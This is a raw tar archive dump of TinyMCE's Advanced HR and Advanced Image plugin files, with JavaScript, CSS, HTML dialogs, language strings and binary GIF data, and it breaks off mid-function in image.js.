.panel_wrapper div.current {height:80px;} #width {width:50px; vertical-align:middle;} #width2 {width:50px; vertical-align:middle;} #size {width:100px;} plugins/advhr/editor_plugin.js 0000666 00000001517 15155066652 0012556 0 ustar 00 (function(){tinymce.create("tinymce.plugins.AdvancedHRPlugin",{init:function(a,b){a.addCommand("mceAdvancedHr",function(){a.windowManager.open({file:b+"/rule.htm",width:250+parseInt(a.getLang("advhr.delta_width",0)),height:160+parseInt(a.getLang("advhr.delta_height",0)),inline:1},{plugin_url:b})});a.addButton("advhr",{title:"advhr.advhr_desc",cmd:"mceAdvancedHr"});a.onNodeChange.add(function(d,c,e){c.setActive("advhr",e.nodeName=="HR")});a.onClick.add(function(c,d){d=d.target;if(d.nodeName==="HR"){c.selection.select(d)}})},getInfo:function(){return{longname:"Advanced HR",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/advhr",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("advhr",tinymce.plugins.AdvancedHRPlugin)})(); plugins/advhr/editor_plugin_src.js 0000666 00000002732 15155066652 0013425 0 ustar 00 /** * editor_plugin_src.js * * Copyright 2009, Moxiecode Systems AB * Released under LGPL License. * * License: http://tinymce.moxiecode.com/license * Contributing: http://tinymce.moxiecode.com/contributing */ (function() { tinymce.create('tinymce.plugins.AdvancedHRPlugin', { init : function(ed, url) { // Register commands ed.addCommand('mceAdvancedHr', function() { ed.windowManager.open({ file : url + '/rule.htm', width : 250 + parseInt(ed.getLang('advhr.delta_width', 0)), height : 160 + parseInt(ed.getLang('advhr.delta_height', 0)), inline : 1 }, { plugin_url : url }); }); // Register buttons ed.addButton('advhr', { title : 'advhr.advhr_desc', cmd : 'mceAdvancedHr' }); ed.onNodeChange.add(function(ed, cm, n) { cm.setActive('advhr', n.nodeName == 'HR'); }); ed.onClick.add(function(ed, e) { e = e.target; if (e.nodeName === 'HR') ed.selection.select(e); }); }, getInfo : function() { return { longname : 'Advanced HR', author : 'Moxiecode Systems AB', authorurl : 'http://tinymce.moxiecode.com', infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/advhr', version : tinymce.majorVersion + "." + tinymce.minorVersion }; } }); // Register plugin tinymce.PluginManager.add('advhr', tinymce.plugins.AdvancedHRPlugin); })(); plugins/advhr/images/advhr.gif 0000666 00000000231 15155066652 0012404 0 ustar 00 GIF89a 2JbBzbrrbRr ! , FI8ͻB AN"܂RB!3GÆK4p dK"FxL. ; plugins/advhr/js/rule.js 0000666 00000002525 15155066652 0011275 0 ustar 00 var AdvHRDialog = { init : function(ed) { var dom = ed.dom, f = document.forms[0], n = ed.selection.getNode(), w; w = dom.getAttrib(n, 'width'); f.width.value = w ? parseInt(w) : (dom.getStyle('width') || ''); f.size.value = dom.getAttrib(n, 'size') || parseInt(dom.getStyle('height')) || ''; f.noshade.checked = !!dom.getAttrib(n, 'noshade') || !!dom.getStyle('border-width'); selectByValue(f, 'width2', w.indexOf('%') != -1 ? '%' : 'px'); }, update : function() { var ed = tinyMCEPopup.editor, h, f = document.forms[0], st = ''; h = '<hr'; if (f.size.value) { h += ' size="' + f.size.value + '"'; st += ' height:' + f.size.value + 'px;'; } if (f.width.value) { h += ' width="' + f.width.value + (f.width2.value == '%' ? '%' : '') + '"'; st += ' width:' + f.width.value + (f.width2.value == '%' ? '%' : 'px') + ';'; } if (f.noshade.checked) { h += ' noshade="noshade"'; st += ' border-width: 1px; border-style: solid; border-color: #CCCCCC; color: #ffffff;'; } if (ed.settings.inline_styles) h += ' style="' + tinymce.trim(st) + '"'; h += ' />'; ed.execCommand("mceInsertContent", false, h); tinyMCEPopup.close(); } }; tinyMCEPopup.requireLangPack(); tinyMCEPopup.onInit.add(AdvHRDialog.init, AdvHRDialog); plugins/advhr/jscripts/rule.js 0000666 00000002216 15155066652 0012517 0 ustar 00 function init() { tinyMCEPopup.resizeToInnerSize(); var formObj = document.forms[0]; formObj.width.value = tinyMCE.getWindowArg('width'); formObj.size.value = tinyMCE.getWindowArg('size'); formObj.insert.value = tinyMCE.getLang('lang_' + tinyMCE.getWindowArg('mceDo'),'Insert',true); if (tinyMCE.getWindowArg('noshade')) { formObj.noshade.checked = true; } if (tinyMCE.getWindowArg('width').lastIndexOf('%')!=-1) { formObj.width2.value = "%"; formObj.width.value = formObj.width.value.substring(0,formObj.width.value.length-1); } } function insertHR() { var formObj = document.forms[0]; var width = formObj.width.value; var size = formObj.size.value; var html = '<hr'; if (size!='' && size!=0) { html += ' size="' + size + '"'; } if (width!='' && width!=0) { html += ' width="' + width; if (formObj.width2.value=='%') { html += '%'; } html += '"'; } if (formObj.noshade.checked==true) { html += ' noshade="noshade"'; } html += ' />'; tinyMCEPopup.execCommand("mceInsertContent", true, html); tinyMCEPopup.close(); } function cancelAction() { tinyMCEPopup.close(); } plugins/advhr/langs/ca_dlg.js 0000666 00000000147 15155066652 0012225 0 ustar 00 tinyMCE.addI18n('ca.advhr_dlg',{ width:"Amplada", size:"Al\u00E7ada", noshade:"Sense ombra" }); plugins/advhr/langs/en.js 0000666 00000000300 15155066652 0011405 0 ustar 00 // UK lang variables tinyMCE.addToLang('',{ insert_advhr_desc : 'Horizontale rule', insert_advhr_width : 'Width', insert_advhr_size : 'Height', insert_advhr_noshade : 'No shadow' }); plugins/advhr/langs/en_dlg.js 0000666 00000000136 15155066652 0012242 0 ustar 00 tinyMCE.addI18n('en.advhr_dlg',{ width:"Width", size:"Height", noshade:"No shadow" }); plugins/advhr/langs/es_dlg.js 0000666 00000000135 15155066652 0012246 0 ustar 00 tinyMCE.addI18n('es.advhr_dlg',{ width:"Ancho", size:"Alto", noshade:"Sin sombra" }); plugins/advhr/readme.txt 0000666 00000000075 15155066652 0011350 0 ustar 00 Check the TinyMCE documentation for details on this plugin. plugins/advhr/rule.htm 0000666 00000005205 15155066652 0011033 0 ustar 00 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>{#advhr.advhr_desc}</title> <script type="text/javascript" src="../../tiny_mce_popup.js"></script> <script type="text/javascript" src="js/rule.js"></script> <script type="text/javascript" src="../../utils/mctabs.js"></script> <script type="text/javascript" src="../../utils/form_utils.js"></script> <link href="css/advhr.css" rel="stylesheet" type="text/css" /> </head> <body> <form onsubmit="AdvHRDialog.update();return false;" action="#"> <div class="tabs"> <ul> <li id="general_tab" class="current"><span><a href="javascript:mcTabs.displayTab('general_tab','general_panel');" onmousedown="return false;">{#advhr.advhr_desc}</a></span></li> </ul> </div> <div class="panel_wrapper"> <div id="general_panel" class="panel current"> <table border="0" cellpadding="4" cellspacing="0"> <tr> <td><label for="width">{#advhr_dlg.width}</label></td> <td class="nowrap"> <input id="width" name="width" type="text" value="" class="mceFocus" /> <select name="width2" id="width2"> <option value="">px</option> <option value="%">%</option> </select> </td> </tr> <tr> <td><label for="size">{#advhr_dlg.size}</label></td> <td><select id="size" name="size"> <option value="">Normal</option> <option value="1">1</option> <option value="2">2</option> <option value="3">3</option> <option value="4">4</option> <option value="5">5</option> </select></td> </tr> <tr> <td><label for="noshade">{#advhr_dlg.noshade}</label></td> <td><input type="checkbox" name="noshade" id="noshade" class="radio" /></td> </tr> </table> </div> </div> <div class="mceActionPanel"> <input type="submit" id="insert" name="insert" value="{#insert}" /> <input type="button" id="cancel" name="cancel" value="{#cancel}" onclick="tinyMCEPopup.close();" /> </div> </form> </body> </html> plugins/advimage/css/advimage.css 0000666 00000001255 15155066652 0013103 0 ustar 00 #src_list, #over_list, #out_list {width:280px;} .mceActionPanel {margin-top:7px;} .alignPreview {border:1px solid #000; width:140px; height:140px; overflow:hidden; padding:5px;} .checkbox {border:0;} .panel_wrapper div.current {height:305px;} #prev {margin:0; border:1px solid #000; width:428px; height:150px; overflow:auto;} #align, #classlist {width:150px;} #width, #height {vertical-align:middle; width:50px; text-align:center;} #vspace, #hspace, #border {vertical-align:middle; width:30px; text-align:center;} #class_list {width:180px;} input {width: 280px;} #constrain, #onmousemovecheck {width:auto;} #id, #dir, #lang, #usemap, #longdesc {width:200px;} plugins/advimage/editor_plugin.js 0000666 00000001424 15155066652 0013224 0 ustar 00 (function(){tinymce.create("tinymce.plugins.AdvancedImagePlugin",{init:function(a,b){a.addCommand("mceAdvImage",function(){if(a.dom.getAttrib(a.selection.getNode(),"class").indexOf("mceItem")!=-1){return}a.windowManager.open({file:b+"/image.htm",width:480+parseInt(a.getLang("advimage.delta_width",0)),height:385+parseInt(a.getLang("advimage.delta_height",0)),inline:1},{plugin_url:b})});a.addButton("image",{title:"advimage.image_desc",cmd:"mceAdvImage"})},getInfo:function(){return{longname:"Advanced image",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/advimage",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("advimage",tinymce.plugins.AdvancedImagePlugin)})(); plugins/advimage/editor_plugin_src.js 0000666 00000002634 15155066652 0014077 0 ustar 00 /** * editor_plugin_src.js * * Copyright 2009, Moxiecode Systems AB * Released under LGPL License. * * License: http://tinymce.moxiecode.com/license * Contributing: http://tinymce.moxiecode.com/contributing */ (function() { tinymce.create('tinymce.plugins.AdvancedImagePlugin', { init : function(ed, url) { // Register commands ed.addCommand('mceAdvImage', function() { // Internal image object like a flash placeholder if (ed.dom.getAttrib(ed.selection.getNode(), 'class').indexOf('mceItem') != -1) return; ed.windowManager.open({ file : url + '/image.htm', width : 480 + parseInt(ed.getLang('advimage.delta_width', 0)), height : 385 + parseInt(ed.getLang('advimage.delta_height', 0)), inline : 1 }, { plugin_url : url }); }); // Register buttons ed.addButton('image', { title : 'advimage.image_desc', cmd : 'mceAdvImage' }); }, getInfo : function() { return { longname : 'Advanced image', author : 'Moxiecode Systems AB', authorurl : 'http://tinymce.moxiecode.com', infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/advimage', version : tinymce.majorVersion + "." + tinymce.minorVersion }; } }); // Register plugin tinymce.PluginManager.add('advimage', tinymce.plugins.AdvancedImagePlugin); })(); plugins/advimage/image.htm 0000666 00000026477 15155066652 0011635 0 ustar 00 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>{#advimage_dlg.dialog_title}</title> <script type="text/javascript" src="../../tiny_mce_popup.js"></script> <script type="text/javascript" src="../../utils/mctabs.js"></script> <script type="text/javascript" src="../../utils/form_utils.js"></script> <script type="text/javascript" src="../../utils/validate.js"></script> <script type="text/javascript" src="../../utils/editable_selects.js"></script> <script type="text/javascript" src="js/image.js"></script> <link href="css/advimage.css" rel="stylesheet" type="text/css" /> </head> <body id="advimage" style="display: none"> <form onsubmit="ImageDialog.insert();return false;" action="#"> <div class="tabs"> <ul> <li id="general_tab" class="current"><span><a href="javascript:mcTabs.displayTab('general_tab','general_panel');" onmousedown="return false;">{#advimage_dlg.tab_general}</a></span></li> <li id="appearance_tab"><span><a href="javascript:mcTabs.displayTab('appearance_tab','appearance_panel');" onmousedown="return false;">{#advimage_dlg.tab_appearance}</a></span></li> <li id="advanced_tab"><span><a href="javascript:mcTabs.displayTab('advanced_tab','advanced_panel');" onmousedown="return false;">{#advimage_dlg.tab_advanced}</a></span></li> </ul> </div> <div class="panel_wrapper"> <div id="general_panel" class="panel current"> <fieldset> <legend>{#advimage_dlg.general}</legend> <table class="properties"> <tr> <td class="column1"><label id="srclabel" for="src">{#advimage_dlg.src}</label></td> <td colspan="2"><table border="0" cellspacing="0" cellpadding="0"> <tr> <td><input name="src" type="text" id="src" value="" class="mceFocus" onchange="ImageDialog.showPreviewImage(this.value);" /></td> <td id="srcbrowsercontainer"> </td> </tr> </table></td> </tr> <tr> <td><label for="src_list">{#advimage_dlg.image_list}</label></td> <td><select id="src_list" name="src_list" onchange="document.getElementById('src').value=this.options[this.selectedIndex].value;document.getElementById('alt').value=this.options[this.selectedIndex].text;document.getElementById('title').value=this.options[this.selectedIndex].text;ImageDialog.showPreviewImage(this.options[this.selectedIndex].value);"><option value=""></option></select></td> </tr> <tr> <td class="column1"><label id="altlabel" for="alt">{#advimage_dlg.alt}</label></td> <td colspan="2"><input id="alt" name="alt" type="text" value="" /></td> </tr> <tr> <td class="column1"><label id="titlelabel" for="title">{#advimage_dlg.title}</label></td> <td colspan="2"><input id="title" name="title" type="text" value="" /></td> </tr> </table> </fieldset> <fieldset> <legend>{#advimage_dlg.preview}</legend> <div id="prev"></div> </fieldset> </div> <div id="appearance_panel" class="panel"> <fieldset> <legend>{#advimage_dlg.tab_appearance}</legend> <table border="0" cellpadding="4" cellspacing="0"> <tr> <td class="column1"><label id="alignlabel" for="align">{#advimage_dlg.align}</label></td> <td><select id="align" name="align" onchange="ImageDialog.updateStyle('align');ImageDialog.changeAppearance();"> <option value="">{#not_set}</option> <option value="baseline">{#advimage_dlg.align_baseline}</option> <option value="top">{#advimage_dlg.align_top}</option> <option value="middle">{#advimage_dlg.align_middle}</option> <option value="bottom">{#advimage_dlg.align_bottom}</option> <option value="text-top">{#advimage_dlg.align_texttop}</option> <option value="text-bottom">{#advimage_dlg.align_textbottom}</option> <option value="left">{#advimage_dlg.align_left}</option> <option value="right">{#advimage_dlg.align_right}</option> </select> </td> <td rowspan="6" valign="top"> <div class="alignPreview"> <img id="alignSampleImg" src="img/sample.gif" alt="{#advimage_dlg.example_img}" /> Lorem ipsum, Dolor sit amet, consectetuer adipiscing loreum ipsum edipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.Loreum ipsum edipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. </div> </td> </tr> <tr> <td class="column1"><label id="widthlabel" for="width">{#advimage_dlg.dimensions}</label></td> <td class="nowrap"> <input name="width" type="text" id="width" value="" size="5" maxlength="5" class="size" onchange="ImageDialog.changeHeight();" /> x <input name="height" type="text" id="height" value="" size="5" maxlength="5" class="size" onchange="ImageDialog.changeWidth();" /> px </td> </tr> <tr> <td> </td> <td><table border="0" cellpadding="0" cellspacing="0"> <tr> <td><input id="constrain" type="checkbox" name="constrain" class="checkbox" /></td> <td><label id="constrainlabel" for="constrain">{#advimage_dlg.constrain_proportions}</label></td> </tr> </table></td> </tr> <tr> <td class="column1"><label id="vspacelabel" for="vspace">{#advimage_dlg.vspace}</label></td> <td><input name="vspace" type="text" id="vspace" value="" size="3" maxlength="3" class="number" onchange="ImageDialog.updateStyle('vspace');ImageDialog.changeAppearance();" onblur="ImageDialog.updateStyle('vspace');ImageDialog.changeAppearance();" /> </td> </tr> <tr> <td class="column1"><label id="hspacelabel" for="hspace">{#advimage_dlg.hspace}</label></td> <td><input name="hspace" type="text" id="hspace" value="" size="3" maxlength="3" class="number" onchange="ImageDialog.updateStyle('hspace');ImageDialog.changeAppearance();" onblur="ImageDialog.updateStyle('hspace');ImageDialog.changeAppearance();" /></td> </tr> <tr> <td class="column1"><label id="borderlabel" for="border">{#advimage_dlg.border}</label></td> <td><input id="border" name="border" type="text" value="" size="3" maxlength="3" class="number" onchange="ImageDialog.updateStyle('border');ImageDialog.changeAppearance();" onblur="ImageDialog.updateStyle('border');ImageDialog.changeAppearance();" /></td> </tr> <tr> <td><label for="class_list">{#class_name}</label></td> <td colspan="2"><select id="class_list" name="class_list" class="mceEditableSelect"><option value=""></option></select></td> </tr> <tr> <td class="column1"><label id="stylelabel" for="style">{#advimage_dlg.style}</label></td> <td colspan="2"><input id="style" name="style" type="text" value="" onchange="ImageDialog.changeAppearance();" /></td> </tr> <!-- <tr> <td class="column1"><label id="classeslabel" for="classes">{#advimage_dlg.classes}</label></td> <td colspan="2"><input id="classes" name="classes" type="text" value="" onchange="selectByValue(this.form,'classlist',this.value,true);" /></td> </tr> --> </table> </fieldset> </div> <div id="advanced_panel" class="panel"> <fieldset> <legend>{#advimage_dlg.swap_image}</legend> <input type="checkbox" id="onmousemovecheck" name="onmousemovecheck" class="checkbox" onclick="ImageDialog.setSwapImage(this.checked);" /> <label id="onmousemovechecklabel" for="onmousemovecheck">{#advimage_dlg.alt_image}</label> <table border="0" cellpadding="4" cellspacing="0" width="100%"> <tr> <td class="column1"><label id="onmouseoversrclabel" for="onmouseoversrc">{#advimage_dlg.mouseover}</label></td> <td><table border="0" cellspacing="0" cellpadding="0"> <tr> <td><input id="onmouseoversrc" name="onmouseoversrc" type="text" value="" /></td> <td id="onmouseoversrccontainer"> </td> </tr> </table></td> </tr> <tr> <td><label for="over_list">{#advimage_dlg.image_list}</label></td> <td><select id="over_list" name="over_list" onchange="document.getElementById('onmouseoversrc').value=this.options[this.selectedIndex].value;"><option value=""></option></select></td> </tr> <tr> <td class="column1"><label id="onmouseoutsrclabel" for="onmouseoutsrc">{#advimage_dlg.mouseout}</label></td> <td class="column2"><table border="0" cellspacing="0" cellpadding="0"> <tr> <td><input id="onmouseoutsrc" name="onmouseoutsrc" type="text" value="" /></td> <td id="onmouseoutsrccontainer"> </td> </tr> </table></td> </tr> <tr> <td><label for="out_list">{#advimage_dlg.image_list}</label></td> <td><select id="out_list" name="out_list" onchange="document.getElementById('onmouseoutsrc').value=this.options[this.selectedIndex].value;"><option value=""></option></select></td> </tr> </table> </fieldset> <fieldset> <legend>{#advimage_dlg.misc}</legend> <table border="0" cellpadding="4" cellspacing="0"> <tr> <td class="column1"><label id="idlabel" for="id">{#advimage_dlg.id}</label></td> <td><input id="id" name="id" type="text" value="" /></td> </tr> <tr> <td class="column1"><label id="dirlabel" for="dir">{#advimage_dlg.langdir}</label></td> <td> <select id="dir" name="dir" onchange="ImageDialog.changeAppearance();"> <option value="">{#not_set}</option> <option value="ltr">{#advimage_dlg.ltr}</option> <option value="rtl">{#advimage_dlg.rtl}</option> </select> </td> </tr> <tr> <td class="column1"><label id="langlabel" for="lang">{#advimage_dlg.langcode}</label></td> <td> <input id="lang" name="lang" type="text" value="" /> </td> </tr> <tr> <td class="column1"><label id="usemaplabel" for="usemap">{#advimage_dlg.map}</label></td> <td> <input id="usemap" name="usemap" type="text" value="" /> </td> </tr> <tr> <td class="column1"><label id="longdesclabel" for="longdesc">{#advimage_dlg.long_desc}</label></td> <td><table border="0" cellspacing="0" cellpadding="0"> <tr> <td><input id="longdesc" name="longdesc" type="text" value="" /></td> <td id="longdesccontainer"> </td> </tr> </table></td> </tr> </table> </fieldset> </div> </div> <div class="mceActionPanel"> <input type="submit" id="insert" name="insert" value="{#insert}" /> <input type="button" id="cancel" name="cancel" value="{#cancel}" onclick="tinyMCEPopup.close();" /> </div> </form> </body> </html> plugins/advimage/images/sample.gif 0000666 00000003130 15155066652 0013233 0 ustar 00 GIF89a- - ~~~}}}|||zzzxxxwwxvvvtttrrrpppmmmiiieeebbbYYY ! , - - %JPJS2GPINC6#>[b[cHU[V]O;"HVLLNQH8#ń00,,8QL88;;GC7ԃYYSS;LPQQaaXhl8TYC~!Doٸ9,A<9(Sx%5b¸QǐfXb,mXb 'X(Ղ 5 qƣEX]E(3,C49"<.eIێ">n wUI($ܹ=a#I4Ӕ5bM $@0kZK4aÚ 'D~1AA IDɐ@}5Ք-"d Gn"umaÅ τiG^JZGk'[H#CGȚ2OiFΓ DxjPA` .U-0Ca G=hцmE$AC.x u$}E șkD TIo7(euV` /`bqƓOv!DO (rQB 1pQcdhaQ!vqp *B !leFiDn1,қ]TQ #|a&qah d[ vE8qKn/``o葇hU(3r,nP@w1d GdtawɱVAa8 c7ЀEjX!BA]LL!ee!-hG@ tO &А%0DLцdyqF#İOȀ@ +@f&frj D TW]&f`S[m@lp}YaAg@o.ׁuvA1mRMuBK=4Qs j>Pቛm@Nxp,<r '̗G@z"H'/PDh\7 ?X<vXa0 n1T8{C&&C6ATAlpCB9xȃddIPgH'`! /Bo02a|f0 HL@aP:d2".P³2qI ; plugins/advimage/img/sample.gif 0000666 00000003130 15155066652 0012542 0 ustar 00 GIF89a- - ~~~}}}|||zzzxxxwwxvvvtttrrrpppmmmiiieeebbbYYY ! , - - %JPJS2GPINC6#>[b[cHU[V]O;"HVLLNQH8#ń00,,8QL88;;GC7ԃYYSS;LPQQaaXhl8TYC~!Doٸ9,A<9(Sx%5b¸QǐfXb,mXb 'X(Ղ 5 qƣEX]E(3,C49"<.eIێ">n wUI($ܹ=a#I4Ӕ5bM $@0kZK4aÚ 'D~1AA IDɐ@}5Ք-"d Gn"umaÅ τiG^JZGk'[H#CGȚ2OiFΓ DxjPA` .U-0Ca G=hцmE$AC.x u$}E șkD TIo7(euV` /`bqƓOv!DO (rQB 1pQcdhaQ!vqp *B !leFiDn1,қ]TQ #|a&qah d[ vE8qKn/``o葇hU(3r,nP@w1d GdtawɱVAa8 c7ЀEjX!BA]LL!ee!-hG@ tO &А%0DLцdyqF#İOȀ@ +@f&frj D TW]&f`S[m@lp}YaAg@o.ׁuvA1mRMuBK=4Qs j>Pቛm@Nxp,<r '̗G@z"H'/PDh\7 ?X<vXa0 n1T8{C&&C6ATAlpCB9xȃddIPgH'`! /Bo02a|f0 HL@aP:d2".P³2qI ; plugins/advimage/js/image.js 0000666 00000030320 15155066652 0012053 0 ustar 00 var ImageDialog = { preInit : function() { var url; tinyMCEPopup.requireLangPack(); if (url = tinyMCEPopup.getParam("external_image_list_url")) document.write('<script language="javascript" type="text/javascript" src="' + tinyMCEPopup.editor.documentBaseURI.toAbsolute(url) + '"></script>'); }, init : function(ed) { var f = document.forms[0], nl = f.elements, ed = tinyMCEPopup.editor, dom = ed.dom, n = ed.selection.getNode(); tinyMCEPopup.resizeToInnerSize(); this.fillClassList('class_list'); this.fillFileList('src_list', 'tinyMCEImageList'); this.fillFileList('over_list', 'tinyMCEImageList'); this.fillFileList('out_list', 'tinyMCEImageList'); TinyMCE_EditableSelects.init(); if (n.nodeName == 'IMG') { nl.src.value = dom.getAttrib(n, 'src'); nl.width.value = dom.getAttrib(n, 'width'); nl.height.value = dom.getAttrib(n, 'height'); nl.alt.value = dom.getAttrib(n, 'alt'); nl.title.value = dom.getAttrib(n, 'title'); nl.vspace.value = this.getAttrib(n, 'vspace'); nl.hspace.value = this.getAttrib(n, 'hspace'); nl.border.value = this.getAttrib(n, 'border'); selectByValue(f, 'align', this.getAttrib(n, 'align')); selectByValue(f, 'class_list', dom.getAttrib(n, 'class'), true, true); nl.style.value = dom.getAttrib(n, 'style'); nl.id.value = dom.getAttrib(n, 'id'); nl.dir.value = dom.getAttrib(n, 'dir'); nl.lang.value = dom.getAttrib(n, 'lang'); nl.usemap.value = dom.getAttrib(n, 'usemap'); nl.longdesc.value = dom.getAttrib(n, 'longdesc'); nl.insert.value = ed.getLang('update'); if (/^\s*this.src\s*=\s*\'([^\']+)\';?\s*$/.test(dom.getAttrib(n, 'onmouseover'))) nl.onmouseoversrc.value = dom.getAttrib(n, 'onmouseover').replace(/^\s*this.src\s*=\s*\'([^\']+)\';?\s*$/, '$1'); if (/^\s*this.src\s*=\s*\'([^\']+)\';?\s*$/.test(dom.getAttrib(n, 'onmouseout'))) nl.onmouseoutsrc.value = dom.getAttrib(n, 'onmouseout').replace(/^\s*this.src\s*=\s*\'([^\']+)\';?\s*$/, '$1'); if (ed.settings.inline_styles) { // Move attribs to styles if (dom.getAttrib(n, 'align')) this.updateStyle('align'); if (dom.getAttrib(n, 'hspace')) this.updateStyle('hspace'); if (dom.getAttrib(n, 'border')) this.updateStyle('border'); if (dom.getAttrib(n, 'vspace')) this.updateStyle('vspace'); } } // Setup browse button document.getElementById('srcbrowsercontainer').innerHTML = getBrowserHTML('srcbrowser','src','image','theme_advanced_image'); if (isVisible('srcbrowser')) document.getElementById('src').style.width = '260px'; // Setup browse button document.getElementById('onmouseoversrccontainer').innerHTML = getBrowserHTML('overbrowser','onmouseoversrc','image','theme_advanced_image'); if (isVisible('overbrowser')) document.getElementById('onmouseoversrc').style.width = '260px'; // Setup browse button document.getElementById('onmouseoutsrccontainer').innerHTML = getBrowserHTML('outbrowser','onmouseoutsrc','image','theme_advanced_image'); if (isVisible('outbrowser')) document.getElementById('onmouseoutsrc').style.width = '260px'; // If option enabled default contrain proportions to checked if (ed.getParam("advimage_constrain_proportions", true)) f.constrain.checked = true; // Check swap image if valid data if (nl.onmouseoversrc.value || nl.onmouseoutsrc.value) this.setSwapImage(true); else this.setSwapImage(false); this.changeAppearance(); this.showPreviewImage(nl.src.value, 1); }, insert : function(file, title) { var ed = tinyMCEPopup.editor, t = this, f = document.forms[0]; if (f.src.value === '') { if (ed.selection.getNode().nodeName == 'IMG') { ed.dom.remove(ed.selection.getNode()); ed.execCommand('mceRepaint'); } tinyMCEPopup.close(); return; } if (tinyMCEPopup.getParam("accessibility_warnings", 1)) { if (!f.alt.value) { tinyMCEPopup.confirm(tinyMCEPopup.getLang('advimage_dlg.missing_alt'), function(s) { if (s) t.insertAndClose(); }); return; } } t.insertAndClose(); }, insertAndClose : function() { var ed = tinyMCEPopup.editor, f = document.forms[0], nl = f.elements, v, args = {}, el; tinyMCEPopup.restoreSelection(); // Fixes crash in Safari if (tinymce.isWebKit) ed.getWin().focus(); if (!ed.settings.inline_styles) { args = { vspace : nl.vspace.value, hspace : nl.hspace.value, border : nl.border.value, align : getSelectValue(f, 'align') }; } else { // Remove deprecated values args = { vspace : '', hspace : '', border : '', align : '' }; } tinymce.extend(args, { src : nl.src.value, width : nl.width.value, height : nl.height.value, alt : nl.alt.value, title : nl.title.value, 'class' : getSelectValue(f, 'class_list'), style : nl.style.value, id : nl.id.value, dir : nl.dir.value, lang : nl.lang.value, usemap : nl.usemap.value, longdesc : nl.longdesc.value }); args.onmouseover = args.onmouseout = ''; if (f.onmousemovecheck.checked) { if (nl.onmouseoversrc.value) args.onmouseover = "this.src='" + nl.onmouseoversrc.value + "';"; if (nl.onmouseoutsrc.value) args.onmouseout = "this.src='" + nl.onmouseoutsrc.value + "';"; } el = ed.selection.getNode(); if (el && el.nodeName == 'IMG') { ed.dom.setAttribs(el, args); } else { ed.execCommand('mceInsertContent', false, '<img id="__mce_tmp" />', {skip_undo : 1}); ed.dom.setAttribs('__mce_tmp', args); ed.dom.setAttrib('__mce_tmp', 'id', ''); ed.undoManager.add(); } tinyMCEPopup.close(); }, getAttrib : function(e, at) { var ed = tinyMCEPopup.editor, dom = ed.dom, v, v2; if (ed.settings.inline_styles) { switch (at) { case 'align': if (v = dom.getStyle(e, 'float')) return v; if (v = dom.getStyle(e, 'vertical-align')) return v; break; case 'hspace': v = dom.getStyle(e, 'margin-left') v2 = dom.getStyle(e, 'margin-right'); if (v && v == v2) return parseInt(v.replace(/[^0-9]/g, '')); break; case 'vspace': v = dom.getStyle(e, 'margin-top') v2 = dom.getStyle(e, 'margin-bottom'); if (v && v == v2) return parseInt(v.replace(/[^0-9]/g, '')); break; case 'border': v = 0; tinymce.each(['top', 'right', 'bottom', 'left'], function(sv) { sv = dom.getStyle(e, 'border-' + sv + '-width'); // False or not the same as prev if (!sv || (sv != v && v !== 0)) { v = 0; return false; } if (sv) v = sv; }); if (v) return parseInt(v.replace(/[^0-9]/g, '')); break; } } if (v = dom.getAttrib(e, at)) return v; return ''; }, setSwapImage : function(st) { var f = document.forms[0]; f.onmousemovecheck.checked = st; setBrowserDisabled('overbrowser', !st); setBrowserDisabled('outbrowser', !st); if (f.over_list) f.over_list.disabled = !st; if (f.out_list) f.out_list.disabled = !st; f.onmouseoversrc.disabled = !st; f.onmouseoutsrc.disabled = !st; }, fillClassList : function(id) { var dom = tinyMCEPopup.dom, lst = dom.get(id), v, cl; if (v = tinyMCEPopup.getParam('theme_advanced_styles')) { cl = []; tinymce.each(v.split(';'), function(v) { var p = v.split('='); cl.push({'title' : p[0], 'class' : p[1]}); }); } else cl = tinyMCEPopup.editor.dom.getClasses(); if (cl.length > 0) { lst.options.length = 0; lst.options[lst.options.length] = new Option(tinyMCEPopup.getLang('not_set'), ''); tinymce.each(cl, function(o) { lst.options[lst.options.length] = new Option(o.title || o['class'], o['class']); }); } else dom.remove(dom.getParent(id, 'tr')); }, fillFileList : function(id, l) { var dom = tinyMCEPopup.dom, lst = dom.get(id), v, cl; l = window[l]; lst.options.length = 0; if (l && l.length > 0) { lst.options[lst.options.length] = new Option('', ''); tinymce.each(l, function(o) { lst.options[lst.options.length] = new Option(o[0], o[1]); }); } else dom.remove(dom.getParent(id, 'tr')); }, resetImageData : function() { var f = document.forms[0]; f.elements.width.value = f.elements.height.value = ''; }, updateImageData : function(img, st) { var f = document.forms[0]; if (!st) { f.elements.width.value = img.width; f.elements.height.value = img.height; } this.preloadImg = img; }, changeAppearance : function() { var ed = tinyMCEPopup.editor, f = document.forms[0], img = document.getElementById('alignSampleImg'); if (img) { if (ed.getParam('inline_styles')) { ed.dom.setAttrib(img, 'style', f.style.value); } else { img.align = f.align.value; img.border = f.border.value; img.hspace = f.hspace.value; img.vspace = f.vspace.value; } } }, changeHeight : function() { var f = document.forms[0], tp, t = this; if (!f.constrain.checked || !t.preloadImg) { return; } if (f.width.value == "" || f.height.value == "") return; tp = (parseInt(f.width.value) / parseInt(t.preloadImg.width)) * t.preloadImg.height; f.height.value = tp.toFixed(0); }, changeWidth : function() { var f = document.forms[0], tp, t = this; if (!f.constrain.checked || !t.preloadImg) { return; } if (f.width.value == "" || f.height.value == "") return; tp = (parseInt(f.height.value) / parseInt(t.preloadImg.height)) * t.preloadImg.width; f.width.value = tp.toFixed(0); }, updateStyle : function(ty) { var dom = 